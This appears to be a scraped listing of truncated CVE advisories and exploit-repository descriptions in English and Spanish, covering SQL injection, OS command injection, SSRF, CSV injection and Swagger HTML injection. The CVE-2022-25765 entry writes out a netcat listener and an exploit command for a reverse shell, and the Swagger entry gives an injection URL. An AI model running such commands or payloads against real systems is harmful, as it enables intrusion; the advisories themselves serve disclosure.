CVE-2026-76175

Ocsreports for OCS Inventory NG is affected by a SQL injection vulnerability in the del_check parameter of the /ocsreports/?function=save_query_list endpoint. An authenticated user with operator privileges can supply input that is incorporated into an SQL query without proper parameterisation or ...

CVE-2026-76175 Multiple vulnerabilities in Ocsreports for OCS Inventory NG

SQL injection vulnerability in the delcheck parameter of the /ocsreports/?function=savequerylist endpoint. Input provided by an authenticated user with operator privileges is incorporated into an SQL query without proper parameterisation or validation, allowing the query to be manipulated and...

CVE-2025-63572

Descripción Se descubrió una vulnerabilidad de inyección SQL en el endpoint responsable de buscar clientes de la plataforma Zentrajuris v.1.0. La entrada del usuario enviada al parámetro de búsqueda se concatena directamente en una consulta SQL sin la debida sanitización/parametrización, lo que...

Cluster-Chaos-Exploiting-CVE-2025-59359-for-Kubernetes-Takeover

Cluster-Chaos-Explotando-CVE-2025-59359-para-la-Toma-de-Kubernetes Un recorrido forense práctico de CVE-2025-59359, una falla crítica de inyección de comandos del sistema operativo en Chaos-Mesh. Aprenda cómo los atacantes secuestran clústeres de Kubernetes a través de mutaciones de GraphQL, y có...

xerial__sqlite-jdbc_CVE-2023-32697_3-41-2-1

Controlador JDBC de SQLite SQLite JDBC es una biblioteca para acceder y crear archivos de base de datos SQLite en Java. Nuestra biblioteca SQLiteJDBC no requiere configuración, ya que las bibliotecas nativas para los principales sistemas operativos, incluyendo Windows, macOS, Linux, etc., están...

ralph

Ralph A working implementation of the Ralph Wiggum autonomous loop technique for Claude Code. Background The official ralph-wiggum plugin in Anthropic's plugin marketplace is currently broken due to a security update in Claude Code v1.0.20 August 2025. The security patch CVE-2025-54795 correctly...

woody-woodpacker

Woody-Woodpacker Un proyecto de la escuela 42 que implementa un empaquetador de binarios para ejecutables ELF de 64 bits. El empaquetador cifra las secciones de código del ejecutable e inyecta una rutina de descifrado que se ejecuta en tiempo de ejecución. 🎯 Acerca de Woody-Woodpacker es un...

CVE-2024-57521-SQL-Injection-PoC

Inyección SQL Autenticada en RuoYi v4.7.9 Bypass de CVE-2024-42900 Introducción Descubrí una vulnerabilidad de Inyección SQL Ciega en la funcionalidad createTable de RuoYi Framework v4.7.9. Esto permite a un administrador autenticado ejecutar comandos SQL arbitrarios a través del parámetro sql...

CVE-2026-84830 OS command injection in privileged configuration handling

SEPPmail Secure Email Gateway before 15.0.7 contains a command injection vulnerability that allows authenticated administrators to execute commands with elevated privileges...

CVE-2026-84830

SEPPmail Secure Email Gateway versions before 15.0.7 are affected by an OS command injection vulnerability in privileged configuration handling. An authenticated administrator can exploit this flaw to execute commands with elevated privileges, resulting in high impact to confidentiality, integrit...

EUVD-2026-70365

SEPPmail Secure Email Gateway before 15.0.7 contains a command injection vulnerability that allows authenticated administrators to execute commands with elevated privileges...

CVE-2025-3248

CVE-2025-3248 Introducción Las versiones de Langflow anteriores a la 1.3.0 son susceptibles a una inyección de código no autenticada en el endpoint /api/v1/validate/code a través de la función Python exec. Este exploit establece una conexión de shell inversa abusando de esta vulnerabilidad. Uso...

CVE-2022-25765

Exploit para CVE-2022-25765 Un pequeño exploit PoC para CVE-2022-25765, PDFkit-CMD-Injection Uso 1. Inicia un listener de netcat en tu máquina de ataque: root@kitploit: nc -lvnp 4444 2. Ejecuta el exploit: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT...

Swagger-HTML-Injection-CVE-2025-8191

https://example.com/swagger/swagger.html?configURL=https://raw.githubusercontent.com/mayank-s16/Swagger-HTML-Injection-CVE-2025-8191/refs/heads/main/test.json...

css-the-bomb-inside-your-inbox

CSS: the bomb inside your inbox Welcome to the repo. This repository contains all the materials for my talk "CSS: the bomb inside your inbox". This repository contains proof of concept code, test cases, and supporting material that were identified, developed, or collected solely for the purposes ...

CVE-2025-67887

🛡️ Parche para la "vulnerabilidad" CVE-2025-67887/86 en el módulo Translate de 1C-Bitrix 1C-Bitrix Seguridad Centro de Seguridad de la Información y Monitoreo de Incidentes de la empresa «1C-Bitrix» informa En canales de Telegram apareció información sobre una vulnerabilidad en el módulo...

CVE-2025-51591-Pandoc-SSRF-POC

CVE-2025-51591 Pandoc SSRF POC A Server-Side Request Forgery SSRF in JGM Pandoc v3.6.4 allows attackers to gain access to and compromise the whole infrastructure via injecting a crafted iframe. Install Pandoc https://pandoc.org/installing.html Payload Example ⚠️ replace iframe url to your own OAST...

CVE-2026-9852

A CSV injection vulnerability exists in SYS600. Injected malicious formulas can add or modify data to the spreadsheet, insert links, exfiltrate data, and in some cases, depending on how the user has their environment configured, execute malicious code on the user’s machine. To exploit this issue...

CVE-2026-9852

CVE-2026-9852 is a CSV injection vulnerability in Hitachi Energy SYS600 . Injected malicious formulas can modify or add data to exported spreadsheets, insert links, exfiltrate data, and in some configurations execute malicious code on the user's machine. Exploitation requires an attacker to creat...

EUVD-2026-70321

A CSV injection vulnerability exists in SYS600. Injected malicious formulas can add or modify data to the spreadsheet, insert links, exfiltrate data, and in some cases, depending on how the user has their environment configured, execute malicious code on the user’s machine. To exploit this issue...